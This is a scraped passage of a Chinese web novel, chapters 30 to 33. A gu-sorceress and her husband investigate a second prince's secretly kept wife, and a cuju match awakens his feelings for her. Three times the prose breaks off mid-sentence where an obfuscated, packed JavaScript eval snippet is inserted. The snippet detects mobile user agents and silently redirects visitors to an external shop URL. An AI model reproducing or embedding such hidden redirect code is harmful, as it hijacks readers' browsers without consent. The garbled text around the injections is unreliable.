沈序也知晓她所说确有道理,南夙入京没多久就同他一起下了江南,回京后更是没怎么出过门,谁会对她有如此恶意。 “会不会……”南夙大胆猜测,“豆豆并不是用来杀我的?” “什么意思?” “豆豆是毒蛇,我是蛊师。”南夙一点一点解释,“想杀我的人难道不知道我擅用毒?” “你是说这人就是故意将豆豆送到你身边的?”沈序理解她的意思。 南夙点头,越想越觉得自己这个推测十分有道理“这人若是想杀我,应当也是知晓我的身份的,不会蠢到放一条毒蛇就妄想杀死我。” “那你觉得这人是谁?”沈序没说赞不赞同她的猜测,但南夙既然有这样的猜测,应该是有怀疑的人。 但南夙却摇了摇头。 “不知道,只是比起有人想杀我,我觉得这种说法好听多了。” 居然是这个原因吗? 沈序失笑,揉了揉她的脑袋,“怎么这么可爱。” 南夙方才才放缓下来的心跳被沈序这么一揉,突然又失了控,她努力平复了一下心情,发现没啥用,于是她决定,不找自己的麻烦了,她要收拾罪魁祸首。 她一把将沈序的手拉下来,扑上去对沈序进行了好一番家庭交流。 马车内嬉笑声阵阵,车轮轱辘轱辘往侯府而去,载着少年人的欢乐与思绪,以及……那不为人知的、内心的小悸动。 “对了,过两日与楼兰有一场蹴鞠比赛,要不要去参加?” 南夙发泄够后,坐回原位歇气,沈序正好说道。 “蹴鞠赛?” 南夙声音提高,俨然惊喜。 “嗯,昨夜我们走得早,陛下在我们走后宣布的。” “好啊好啊。”南夙头点得像小鸡啄米一样,眼神里的期待似要蹦出眼眶来,“我想参加。” 沈序忍俊不禁,“到时候带你去。” 回府后,被南夙喊去送信的安雀已经回来,上报南夙吩咐之事。戈辞姐姐说会尽量快些调查清楚。 除此之外,对于南夙关于豆豆身份的猜测,戈辞给了否定的答案。 她今日告诉沈序的猜测并不是空穴来风,她是真正好好想过了才会说。但她也没认为是戈辞做的,因为如果戈辞想给她,大可以直接给她就是了,没必要借韩颖来从中运作。 让安雀去问,只是想看看戈辞姐姐有没有什么线索。 但眼下很明显,戈辞姐姐也不知道是怎么回事。 30.第 30 章 京城即将出城的地方有一条尤为出名的巷子,叫作幸福巷。但它出名不是因为这条巷子有什么与众不同,而是皇帝曾在这住过一晚,并在离开前给这条巷子取名为幸福巷。 庶民得见天子,那是可以传世百年的,因此皇帝宿过这条巷子的事很快在京城传了个遍,幸福巷从此名声大噪。 南夙此刻正在这巷子里。 前面一个熟悉的身影拐进了巷子,南夙轻巧地提步跟上。 他在跟踪二皇子韩世衡。 枕月楼查事一向迅速。 南夙隔天就收到了戈辞的来信。 现在给南夙传信不再需要像刚来时那样。南夙曾经与沈序聊过枕月楼一次,沈序承认曾调查过枕月楼,但楼中并无做伤天害理之事,沈序便对他们睁一只眼闭一只眼了。 信中仔细地说明了韩世衡的身份,以及他这三个月以来的行踪,南夙一字一句读着信中的内容。 二皇子韩世衡,是贵妃所生,与韩砚一母同胞。这三个月来,除了正月初五日那天南夙在回府途中遇到他之外,二皇子没去过几处地方。 除了皇宫,韩世衡曾去过的地方南夙都去过一次,但没有在任何地方发现过蛊虫的踪迹或是残痕。 如果真的是别人给他下的蛊,不论处理得多干净,也一定会留下些痕迹。但南夙看了这么多地方,却完全没有发现。 会不会是在皇宫下的? 南夙打算找个机会进宫一趟,看看在皇宫能不能找到些线索。 但在进宫之前,她也没有坐以待毙,让枕月楼查了韩世衡的行踪,今日跟着他来到了这里。 韩世衡身边没有带侍从,一身简单的白衣,腰侧那枚锦囊仍然系在那处,仿佛已成为了他的象征。 南夙刚进巷子,圣蛊便活跃起来,随着她靠近韩世衡,圣蛊越发躁动。 韩世衡体内的蛊一定不是一般的蛊。 南夙确定。 南夙想着韩世衡独自来到这巷子的目的,见韩世衡在一个院子前突然停下了脚步。 他没有直接进院子,而是敲了门。 没一会便有一个老妪开了门,南夙见他们俩在门外交谈了几句,但距离太远,听不清他们说了什么。 韩世衡跟着那老妪进了屋。 南夙站在墙边思考了一会。 翻墙进去有风险,她还是别去了。 于是她放了枚蛊,那蛊从她袖口飞出,以敏捷之姿穿过门之间的缝隙,飞到院子里去了。 院子对于它来说有些大,它在院子里轮转了几圈才找到目标,飞进了一间木屋。 南夙没法看到院子里的场景,但能借着两只蛊虫之间的感知来知晓里面的人说了什么。 那老妪先开了口,声音沙哑,“公子又来看望小姐了。” “嗯。” 这声音很轻,像一声气音。 “小姐在屋内,公子去吧。” 随后好长一段时间没再有交谈声,南夙猜测二皇子应当是往屋子里走,去看他们话中的小姐了。 小姐? 是谁? 南夙思忖着他们话中的这位小姐的身份。 是韩世衡的爱人吗? 戈辞传来的信中的确提到过韩世衡曾经有一位妻子,二人非常恩爱,怎奈天不遂人愿,成亲没多久,二皇妃便死于疾病。 既然如此,这位小姐又是谁呢? 站在外面思考得不出答案,南夙决定,冒险翻墙一次。 她先是找了个没人的角落,四处观察了一番,确保周围没有人才翻进了院子,沿着蛊虫方才的走过的痕迹,找到了一间屋子。 虽是白天那屋子里却点着灯,因着整间屋子都躲在阳光晒不到的地方,才能辨出那点蜡烛的光。 这间屋子与院子里其它的房间都不一样,别的屋子都是石头砌的,唯独这一间是木屋,还建在院子的角落处。 谁建屋子会将屋子建在背阳的地方呢? 难道说屋内的人是见不得阳光吗? 南夙站在木屋与围墙的中间,轻身跃起,借力上了木屋顶上。 她掀开一张瓦片,正好能看见屋内的景象。 屋内,那老妪坐在屏风外的桌边,安静地坐着,没有说话。屏风后面,是一袭白衣的二皇子,他坐在床边,神情温柔,挽起袖子,双手正在盆中洗着帕子。 热气在帕子上阵阵,南夙随着他的动作看去,看到了床上躺着的那位女子。 她身形孱弱,脸色苍白,连唇色都浅得吓人。可是她的脸,却是那样的美。 南夙仔细看了一会那名女子,随着韩世衡为她擦拭手指的动作看到了她手虎口处的那颗红痣。 “禾儿,若是休息够了就醒来吧,我很想你。” 韩世衡手中动作轻柔,语气更是温柔,更像是一种呢喃。可是,南夙却无法在他的话中听出一丝起伏的情绪。 这是他的爱人吗? 南夙从他的动作和语气中推测是的。 所以当初的二皇妃并没有死,只是生了病被转移到了此处,让所有人都以为死了是吗? 韩世衡没在房间里留多久,为那女子擦洗完,坐了一会便离开了。 他来得干脆,走得却也决绝。 南夙看着他离开巷子的背影,开始怀疑那女子究竟是不是当初的二皇妃了。 这一趟虽然也没能查到关于韩世衡体内蛊虫的线索,但至少也发现了些事。南夙打算先去查一查这名女子的身份再做打算。 南夙本来打算让戈辞姐姐去查这件事,但一回府见沈序也在府中,南夙便改了主意,往书房里找沈序去了。 沈序正在书房里查这几月的军饷开支,听见声响抬头,见南夙正推门进来。 “回来了?”他放下手中的笔,“又跑哪去了?” 南夙一大早便出了门,没带人一起,也没说要去哪里。 “我有点事。” 南夙贴着书案坐下,歪靠在一边,“沈序,我有点事想问你。” “什么事?” “你知道二皇子的妻子吗?” “知道。”沈序下意识点头,又问,“你问这个做什么?” “就是今日出去听见别人说,我有些好奇。” 南夙早找好了说辞。 沈序一听便皱了下眉,显然对旁人议论皇家之事多有不满,但是南夙问,他也只是说:“这件事不要同旁人提起。” 虽然这京城中大多数人都知晓此事,但最好不要拿到明面上说。 南夙乖巧点头,“我只是有些好奇,不会乱说的。” 说着她还伸出三根手指束在一旁,“我发誓!” 沈序被她认真严肃的表情逗得一笑,他按下南夙的手,“好奇什么?” 这就是同意了。 南夙赶紧问道:“你知不知道这个二皇妃是哪里人,有没有什么特征?” 她问得太具体,沈序几乎是立刻就意识到南夙并不只是对这件事好奇这么简单。他看了眼南夙坦然的表情,心下有了怀疑,却没表现出来。 他回忆了一下,“她叫做乌禾,中原女子,右手虎口上有一枚红痣。” 姓乌? 南夙对这个姓氏很敏感,因为这是他们灵诏的国姓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184272|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,大多数村落都冠乌姓,诏父与阿维都姓乌,她本来也应该姓乌的,只是诏父希望自己能够随母亲姓,她便随了母亲姓。 但沈序说了她是中原女子。 二皇子叫那女子“禾儿”,二皇妃叫作乌禾。 那颗红痣也对上了,南夙今日确实在那女子虎口处看到了一颗红痣。 所以当初的乌禾真的没有死。 韩世衡为什么要对外说她死了呢?又为什么会偷偷将她藏在幸福巷? 就算是藏,也该藏在其它不为人知的院子里,那样不容易被人发现。藏在这人多眼杂的幸福巷,风险不是很大吗? “那你知道她具体是中原哪里人吗?是什么身份呢?” 沈序思考了一会,才回道:“二皇妃并不是士族女子,只是京城一户普通百姓家的女儿,与二皇子结为夫妻是因为曾救过二皇子。” 又是救人的戏码。 南夙感觉这个词她前两日才听过。 对了。 楼兰使臣中的那位公主也是因为救了大皇子才得天子重视的。 “至于她是京城哪里人……”沈序不知晓南夙心中所想,仍继续说着,说到这里,他想了一会,才记起来乌禾是哪里人,“我记得她家在幸福巷。” 幸福巷…… 南夙听到这个答案时愣了一下,所以那个院子会是乌禾的家吗? “南夙,南夙!” 沈序说完,发现南夙没有反应,他喊了两声,南夙才抖了下身子,反应过来。 “所以知道这些是想做什么?” 他开门见山问道。 南夙惊讶他居然发现了自己目的不纯,还将这些事都告诉自己。她犹豫了一会要不要告诉沈序。 有些为难地咬着唇。 沈序也不催她,安静地等她的反应。 好半晌,南夙才徐徐开口,“我今日出府遇到二皇子了。” 她还是决定蛊虫一事先隐瞒下来,等到查清楚再告诉沈序。于是她随意胡诌了个开头,模糊了自己出府的目的。 “我看到他进了一个巷子,没带侍卫,我担心他遇到危险。” 沈序无声地看着她。 “好吧,我好奇他要做什么!”南夙破罐子破摔。 “我就跟着他,发现他进了一个院子,在院子里,我看到了一个女子,二皇子叫她‘禾儿’,我还在她的手上虎口处看到了你说的红痣。” “所以你怀疑这名女子是二皇妃?”沈序听完南夙讲述的事,顺着她的思路说道。 “嗯。”南夙点头,“我觉得大概率是。” 沈序沉默了一会,“可是当年二皇妃下葬我是亲眼见到了她的尸体的。” 南夙不说话了。 她方才猜测是二皇子偷偷将人换了,可是沈序说亲眼见到二皇妃已死,而且亲眼见到封棺下葬。 沈序不会骗她。 南夙又大胆猜测,“会不会是二皇子又重新制作了一个乌禾出来?” 这个猜测过于匪夷所思,且不说如何造出两个一模一样之人。就是能造,为何要造一个宛若死人之人。 南夙自己也觉得自己这个猜测有些扯淡,但她也想不到别的原因了。 她皱着眉头,两手撑着脸,一脸的烦闷。 沈序突然伸手在她眉前点了点,“好了,别想那么多,过几日我去查。” “明天的蹴鞠赛准备好没有?”为了让南夙别想那么多,他故意转了话题。 面前人的态度也告诉他,他这话题转的很成功。 南夙扬起下巴,骄傲写满小脸,“当然准备好了。” 31.第 31 章 沈序活到十八岁,年岁的痕迹在他身上写满意气与少年气。他是要早熟些,束发之年便与父亲上了战场。 他面面俱到,能将国事家事都处理得当。 长这么大,唯一没想过的一件事,就是自己会喜欢上什么样的女子。 直到今天,好像才初拨开些那名为动心的面纱。 那是什么感觉呢? 大概是春天的尾巴悄悄移走,露出暑气的一点踪迹,他坐在校场上观看着两国间的友谊赛,一边觉得无聊,一边抱怨着早夏的炎热。 然后看到南夙朝他奔来。 他从不将情绪摆到明面上,只在心里暗暗吐槽埋怨。 直到一个熟悉的身影上了赛场。 南夙是要参加今日的比赛的,她对蹴鞠的喜爱简直让人难以相信,阿家前几日见她兴致盎然,专门抽了一天时间陪南夙踢蹴鞠,踢完之后给南夙留下了一个十分中肯的评价:这孩子简直就是大景人。 早晨他们俩没有一起来,所以他自然不知道南夙今日的装扮。 她今日梳了一对双髻,石榴红的绫子扎成两小簇,像熟透的石榴果挂在耳边,几缕碎发从髻根散下来,贴在脸侧,被阳光一照,透着光。 一件牙白色翻领窄袖胡服披在身上,领口绣着连珠纹的团花。下身是一条明黄色锦边大口袴。 既是表示对楼兰的尊重,也是方便行动。 沈序从未见过她这样的装扮,就一眼,便再也挪不开眼了。 校场中央两方队伍相对而立,南夙与安雀站在一起,边上还能看到红雾激动的身影。 哨音刚落,楼兰方两个高个儿便一左一右逼过来。 南夙不退反进,靴尖轻轻一挑,那蹴鞠便像粘在脚面上似的,跟着她斜刺里蹿出去。左边那人的手刚碰到他的衣袖,她已经把球从右脚尖倒到左脚跟,人一旋,双髻上的红绫在空中画了个弧度完美的圈,而那人扑了个空,踉跄撞到自己人身上。 场边上一片喝彩声。 南夙没工夫理会。对方一人堵在正前方,是那个名为弥雅娜的楼兰公主,她站立在南夙跟前,眼睛像鹰一样盯着她脚下的球。 南夙放慢步子,胸口起伏着,汗顺着鬓角往下淌,洇在牙白翻领上,成了深色的一小片。 南夙聚精会神,看了眼两边向她包抄而来的对手,只犹豫了一瞬,左脚一定,迅速转了个圈,将球往外一踢,安雀稳稳接住。 众人又开始去追安雀,唯独弥雅娜仍然留在原地,像是预判了南夙与安雀的默契。 果然,南夙身边的人都跑开后,那球又在片刻内,回到了南夙的脚下。 弥雅娜站在离她三步处。 她忽然笑了。 弥雅娜一愣,就是这一愣的功夫,南夙右脚外脚背猛地把球往斜处一拨,整个球跟着蹿出去,速度快得连她自己都听见风从耳畔刮过的尖啸。弥雅娜转身想追,脚下一绊,跪倒在地。 眼前只剩那一道一尺见方的风流眼了。 南夙来不及调整姿势,身体已经向后倾去。她左脚为轴,右腿抡圆了抽向那只皮球。脚尖接触皮革的瞬间,她听见自己喉咙里发出一声低沉的闷哼。 球像一道白色的闪电,笔直穿过风流眼,撞在后面的槐树上,嘭的一声,震落了一地的槐花。 全场安静了一瞬。 然后炸开了锅。 南夙站在原地,大口大口喘着气,汗珠从下巴滴落,砸在干燥的土地上,洇出一个小小的深色的点。 她双髻早散了,红绫松松垮垮垂在耳边,一缕湿透的头发贴在脸颊上,她也懒得去撩。 安雀第一个搂上她,接着,队友们嗷嗷叫着冲过来,有人搂她的脖子,有人拍她的肩,那散了的双髻终于彻底垮下来,黑发披了满肩。她这才伸手拢了拢,抬头往场边看了一眼,弥雅娜正从地上爬起来,拍拍膝上的土,朝她点了点头。 南夙朝她露出一个真诚的微笑。 然后转过身,踩着满地的槐花,深一脚浅一脚地往槐树那里走,去捡那只还躺在树下的,让她们赢了的球。 捡起球,她抱在怀里,便转身朝沈序奔过去了。 在这里,她最想和沈序分享胜利的喜悦。 风吹动她的发丝,让不听话的鬓发糊在脸侧,南夙却不想去拨,她带着满脸的开心,奔向沈序的位置。 沈序就是这个时候发现自己心跳似乎有些不正常的。 他有些疑惑地将手覆上心脏那处,发觉自己的心跳有些快了,还未等他想清楚原因,南夙已经凑到他的面前。 南夙跑了一段路,靠近内座后才缓下来速度,慢慢走到沈序跟前。 她将球递到沈序跟前:“怎么样,我厉害吧。” 沈序下意识接过那球,却没有说话,他直直盯着南夙,既没有说她厉害,也没有夸她做得好。 南夙不满意,努起嘴抱怨,“你说话呀?” 沈序这才反应过来,他嘴角牵起一个微笑,十分温柔地说:“超厉害。” 这时,忽有太监来传南夙,说陛下大喜,唤南夙过去领赏呢。 南夙看了眼沈序。 沈序站起身来,揉了揉她的脑袋,走到她的身后,将她散了的头发拢起簪好,才轻声道:“去吧。” 南夙跟着那太监走了。 沈序看着她的背影,确定了一件事。 他,好像喜欢南夙。 比赛结束后,众人摆驾回宫用晚宴。 南夙和沈序也跟着去了,一并入了座,陛下先说几句,再宣布宴会正式开始,众人方才开始用膳。 南夙中途找了个由头出了门,她还没忘记今天进宫的目的。 出了门,她便借着机会甩开了跟着的丫鬟,只留了安雀一人在她身边。 进宫前,她让戈辞给她绘了幅皇宫地图,她撑开绢布,上下扫寻了一遍,确定了自己现在的位置,便朝着目的地的方向走去。 兰渚殿——二皇子韩世衡的住所。 才刚靠近,圣蛊便活跃起来。 南夙立刻打起精神来,二皇子不是在晚宴吗,他的宫殿里怎么还有蛊虫? 兰渚殿后门,安雀在此处放哨,南夙一个人进了宫殿内。 南夙将身形隐在墙后,往院子里一看,看到个熟人。 韩砚。 只见院子里,韩砚大喇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17187171|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喇地躺在椅子上,旁边支着张小桌,摆了糕点酒水。 韩砚一只手撑在脑后,另一只手揪了颗葡萄扔进嘴里,旁边一个太监低声在他耳边说着什么。 “真的是嫂嫂拿了头筹?”韩砚音量提高,在院子里回荡,“我就知道,我嫂子就是厉害。” 他口中的嫂子是谁不言而喻。 而这位嫂子,此刻正躲在墙后像小偷一样偷听他说话。 “哎,可惜了,一回京我就被父皇罚了紧闭。”他语气不服,还有些抱怨,“不然我今天就能亲自去一睹嫂子的英姿了。” 一旁的下人们不敢答话。 韩砚也不管他们给不给反应,自顾自地说着。 “我那殿里无聊死了。” “哎?”他指了指旁边站着的一个小太监,“我哥到底啥时候回来啊,我都等了他两个时辰了。” 那太监低着头:“二殿下应当晚宴结束后就回来了。” 韩砚嘴里还在继续吐槽着些什么,但是南夙却没有再听清了。 因为她方才发现了一件事。 她在院里看了一圈,最终确定,她在殿外感受到的那枚蛊,来自韩砚。 这是怎么回事? 怎么连韩砚的身上都出现了蛊,难道有人想杀他们兄弟吗? 可是据南夙所了解,二皇子待人温和,在这朝廷最是受人喜爱。韩砚不常在人前出现,但他纨绔,也从没给任何人带来过威胁,究竟是谁要害他们呢? 南夙在兰渚殿内走了两圈,确定除了韩砚体内那枚之外,没有再发现其它的蛊。 那人只想对韩砚与韩世衡动手。 南夙带着满腔的疑惑走了。 她带着安雀回了宴厅,发现宴会上多了几个人,都是女子,位置都设在前面,南夙推测应该是几位公主。 果然她才一坐下,红雾便到身侧来悄声给她和安雀介绍那几位,其中有一位身穿石榴红裙的女子突然转头看了南夙一眼。 南夙同她对上视线,那人朝她一笑。 红雾说,那人是皇后的女儿,二公主韩清棠。 南夙不认识她,见她对自己微笑,也只是简单地点了下头。 后来几天,南夙没再参加这些宴会,她忙着调查韩砚体内的蛊的来源,让安雀给她找来许多灵诏的古籍,想根据圣蛊的反应看看能不能看出他们体内的蛊虫是哪一种。 沈序也没闲着,他在调查那日南夙说的韩世衡去见的那名女子。 两人虽每日宿在同一间房,但却几乎没有碰上对方清醒的时候。 沈序刚发现自己的情感,还没来得及去想怎么解决,就被连日的事给打断,就此耽搁下来。 直到有一日,南夙又一次在书房待了一整日,提前了点时间出了书房,刚好碰上回房的沈序。 两人互相打了个招呼,又相互问候了几句。南夙才知道沈序原来在调查这件事。 她这几日忙着解开蛊虫之迷,将这件事都抛到脑后去了。 现下听沈序一说,立马来了精神,问沈序都查到了什么,又想这件事可能也与蛊虫有关,便说要一起查。 沈序自然不会拒绝她。 32.第 32 章 自与楼兰的比赛结束后,沈序便开始查韩世衡与幸福巷中那女子之事。 他这一查,便查了五六日。 他先是去了幸福巷,那巷子因天子驻跸过而得名,巷中人家多以这段往事为荣,提起当年之事无不眉飞色舞。 唯有一户人家不一样。 沈序在其中一户人家门前停下,敲开了门。 开门的老妪与他见过的任何一个人都不同,她眼中没有丝毫对外来客的好奇,只沉默地打量着他。 正是前些日子南夙告诉他的那间院子。 “老人家,我想打听个人。” 那老妪不接话,只是看着他。 沈序也不恼,装作一副讨好的样子,从袖口中摸出块碎银过去,“乌禾家,是在这儿吗?” 老妪低头看了眼银子,没接,声音低哑:“公子找错地方了。” 说完,那老妪没给沈序任何说话的机会,也不再看他,转身径直进了院子。 门当着沈序的面合上。 沈序站在门外,不怒反笑,这人的态度果然如他所想的那般。 旁人听说要打听当年嫁给二皇子的乌家,不说热情相迎,至少也会好奇多问几句。这老妪倒好,一个字不说,直接关门,好似唯恐提起这事一般。 要么是她知道些什么,要么就是有人交代过她什么。 沈序没再敲门,转身往巷子外走。 幸福巷并不大,住着二三十户人家。这个时辰,男人们大多都上工去了,只有几个妇人在巷口洗衣晾晒。 沈序走到井边,面前有个妇人正在打水,沈序走到她旁边停下,自然而然地接过她手里的桶,替她把水打上来。 妇人愣了愣,连声道谢。 沈序摆摆手,笑道:“举手之劳。大婶,我向你打听个事儿。” 那妇人一听沈序是有目的,脸上露出点警惕来,态度也不似方才好,“你想问什么?” 沈序扬着嘴角,尽量让自己看起来和善一些,“是这样,我是从江南来的 ,去年水患把我家全淹了,我父亲这人迷信,觉得是因为我家房子的地方不好,想着京城人杰地灵,便带着我们一家举家迁徙来了这里。到京城后,又听说咱们这幸福巷曾有陛下驻跸,且巷中人家都极为和睦。想来这巷子风水是极好的,便想来打听一下咱们巷子里有没有什么人家卖房子的。” 那妇人脸色肉眼可见的好起来,随着沈序对巷子与人家的夸赞,慢慢也扬起嘴角,露出一个自豪的笑来。 “那是,我们幸福巷的风水自然是好极了的。” 沈序立马顺着她的话往下说:“是啊,我听说就连二皇子的皇妃也是咱们幸福巷的人呢,成了贵女,想必是有享不尽的荣华富贵。” 妇人听了这话,又看了沈序两眼,见他生得俊俏,衣着不凡,说话又和气,便放松了警惕,“公子有所不知。” 沈序一听有戏,立刻做出一副好奇的模样,“大婶怎么说?” 那妇人凑近沈序,放低声音,“你说的那位,是乌家的。” 她往巷子深处指了指,“就那家,门口有棵树的。不过她家老太太不爱跟人来往,在我们这巷子里,也算是个奇葩。” “哦?”沈序状若惊讶,又有点不理解,“她家女儿不是进宫做了二皇子的皇妃,这等殊荣,怎会不爱与人来往呢?” “那老太太可不是这院子的主人,她啊,只是这姑娘的奶娘罢了,这姑娘的父母啊死得早,她年级又小,管不了事,这院子便一直都让这老太太管着了。” 沈序表示理解地点头,又问:“那这乌家都有些什么人?” 妇人想了想:“就老两口带着一个女儿,唉,说来她们一家也是命苦。父母早死,那姑娘身子骨也不好,成日躺着,轻易不出门。后来不知怎的,竟嫁给了贵人,我们巷子里的人都替她高兴。可惜没享几年福就去了。” “他们家只有一个女儿,没有别的兄弟姐妹吗?”沈序问道。 那妇人摇摇头,“就这一个女儿。” “那姑娘我见过几次,生得是真好,就是太瘦了,风一吹就要倒似的。对了,她手上有个红痣,我们巷子里的人都知道,右手虎口上,可好认了。” 右手虎口。 这和沈序知道的一样。 这位二皇妃他也是见过的,就像这妇人说的一样,总病恹恹的,因此不常出门。沈序只远远地见过几次,她虎口的红痣很是显眼,因此人总能第一时间注意到那颗痣。 他谢过妇人,又在巷子里转了一圈,先后和几个街坊“偶遇”攀谈,借口都是买房,也没有人怀疑他。 从第二个街坊口中,他得知乌家是二十多年前搬来幸福巷的,据说是从外地来的,具体是哪里人没人知道。 从第三个街坊口中,他得知乌家女儿名为乌禾,当年确实嫁给了贵人,但嫁人之后很少回来,偶尔回来也是匆匆走,那老妪也从不多说乌禾的事。 沈序一一谢过,站在巷口沉思。 所有的信息都能与他知晓的事情对上。 现在的疑点就在这院子里韩世衡藏着的那名女子了。南夙说她看见了那女子手上的红痣,还听见韩世衡叫了她“禾儿”。可沈序又亲眼见到二皇妃下葬。 那么他们俩之间,究竟是谁的信息错了呢? 眼看天色已晚,沈序没再逗留,决定先回去整理一下今日得到的信息。 他正欲走,身后忽有一人追上来,大声喊他:“公子!公子!” 沈序转身,发现是一位妇人,跑得气喘吁吁。 “大婶,您叫我可有什么事?”待那妇人气息缓下来些,沈序才问道。 “我听人说你是想买房?” 沈序怔然,虽然只是借口,但他还是点了下头,“是。” “那正好,我家正打算买房呢。” 沈序:“……” “然后你就真买了?”南夙瞪大眼睛,有些好奇地望着沈序。 沈序挠头,“没想到这么巧。” “哈哈哈哈哈哈。”南夙爆发出一阵嘲笑,看着对面一脸菜色地沈序,“这也太巧了吧。” 沈序望着她笑得前仰后合的模样,怔愣在原地,只觉得又有东西不讲道理地牵着他的心脏,让他一阵悸动,连话也说不出来。 他本该对南夙的嘲笑感到恼怒,但他看着南夙的小却莫名也扬起了嘴角。 我一定是没救了。 沈序想。 “好吧。”南夙笑够了才坐回来,问沈序接下来什么打算。 “房子都买了,自然不能白买。”他看了南夙一眼,“咱们过去住两天。” 于是二人第二天便一起收拾行李住进了幸福巷的院子,没带安雀和红雾,因为南夙觉得,他们是为了查案的,人多眼杂,便让安雀她们留下了。 住进来没两天,南夙以其超出常人的交往能力,迅速与巷子里的妇人小姐们打成一片,从中套出不少话来。 他们搬进来的第三天,就到了清明节。沈序和南夙自然是要回去祭祖的,他俩回去简单祭了祖,为了不让巷子里的人怀疑,当天下午便回了巷子。 回来后,巷子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17192813|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里许多人才准备去扫墓。 一见南夙走进巷子,便有几人上前拥着她,拉着她一起往城外去了。 南夙一脸懵地跟在她们身后,直到一片墓地出现在眼前,她才反应过来,原来她们拉上自己来墓地来了。 南夙觉得别人祭祖自己在旁边怪别扭的,就自觉地往旁边站着,没有靠近。 周围是许多被打扫干净的坟墓,南夙看着那些妇人的动作,四处张望了一下,发现在这片墓地的边缘,有一座杂草丛生的墓,看起来有些年头没有打扫了。 南夙有些好奇,这一片的墓应当都是有主的,怎么这一座却没人打扫。 “这是谁的墓?”南夙好奇问道。 一妇人听到她的声音转头看了一眼,见南夙指着一座墓,她仔细思考了一会,才想起来,说道:“这是座无名墓。” 无名墓。 字面意思,就是不知道主人是谁的墓。 “为什么这里会有一座无名墓呢?” 另一个妇人听到她们的对话,插进话题,“这墓在这有些年头了,大概有三年了吧。” 又一人说道,这次是个男人:“是啊,差不多就是三年,不过直到去年,这墓都是有人来打扫的,后来,就没见有人来了,慢慢的,也就荒成这样了。” “那是何人在扫这墓呢?”南夙问。 这一问,却没人回答她。 那些个人努力想了想,都没想出结果,其中一位说道:“你这么一问,好像每年都没人见到过是谁来扫的墓,只知道每年清明那日我们来扫墓时,这墓已经打扫干净供奉好了。” 她话一说完,周围好几个人都点头说确实是这样。 还有一个妇人补充道:“不止清明呢?往日里你们不爱出城不知道,这墓啊平日里也总有人打扫,常年供着东西呢。” “柳婶这么说,难道是经常出城?”南夙捕捉到她话中的重点。 “是啊,我家那口是个商人,常出城去,我也跟着他出城过几次。这墓地是必经之路,那墓又与众不同,自然也就发现了。不过呢,这也许是哪家老人的墓,孩子们大孝,自然也就来得频繁了些,算不上什么稀奇的事” 南夙却不这样认为,不知为何,她直觉这墓不简单,于是又问:“柳婶说这墓直到去年都有人扫,具体是到去年什么时候,您还记得吗?” 柳婶思考了一会,“记得,那会正好我与我家那个出城,那时这墓就已经开始生杂草了,估摸着至少也得有一个多月没来了。” “您出城是什么日子?” “四月十三。” 一年前。 也就是说这个墓至少在三月就再也没人来过了,直到现在。 南夙站在原地没有说话,不知道在想什么。 过了一会,她突然走到那个墓边,问旁边一位大叔借了把刀,弯腰一点一点将那墓上的杂草给割掉。 旁边的几位大婶先是一愣,接着两个已经打扫完自家墓的妇人也走上前来,与南夙一同割草。 没多久,几人便将墓上荒草割完。 那块没有名字的墓碑露出来,终于感受到这春的气息,还有几位大婶将自家的纸钱与供品匀了些出来,一并交给南夙放在了这块无名碑前。 南夙想起来曾经听过的一句话:真正的死亡是世间再也没有一个人记得你。① 所以她不敢忘记阿姎一天。 她看着这块没有名字的墓碑,想着里面躺着的那个人会是什么样的模样。 她没告诉任何人,她脑子里那个可怕的猜测。 33.第 33 章 她躺在那里,没人知道她的名字,没人记得她的来历。若有一天,最后一个记得她的人也忘了,那她算不算真的死了? 人死不能复生。 这是世间箴言,没有人能够反驳。 可是那个人,她好像再次活了过来,只因为这世上,又有一个人记起她来,哪怕只是记得她的名字,并不知晓她的模样。 清明扫墓回来后,南夙趁着没人的夜晚偷偷去了一次乌禾的院子。 这一次,屋内没有任何人。 于是她直接掀开瓦片跳进了屋子。 她走到床边,掀开床帐子,那女子的容貌露在她的面前,她仍然像上一次见的那样,苍白而美丽。 南夙看了眼她交叠在腹前的手,轻轻牵起了她的右手,虎口处的那枚红痣在黑夜里若隐若现,叫南夙看不真切。 南夙又牵起她的左手看了看。 红痣确实在右手虎口处,与沈序和巷子里的人们说的都对得上。 她指腹抚过那颗红痣,只见那红痣的颜色骤然加深,越发像血一般的颜色。 原来不是像,而是真的血。 只见南夙食指指尖坠着滴鲜血,指腹已经被血覆盖,是她方才擦在乌禾虎口处时蹭开的。 那滴血在指尖坠了半天,终于还是掉落下来,落在乌禾手指上。 南夙感受到了排斥。 她低着头用袖子将乌禾手指上的血擦干净,好半晌没有动作。 终于,她将乌禾的手放回去,放下帐子,转身离去。 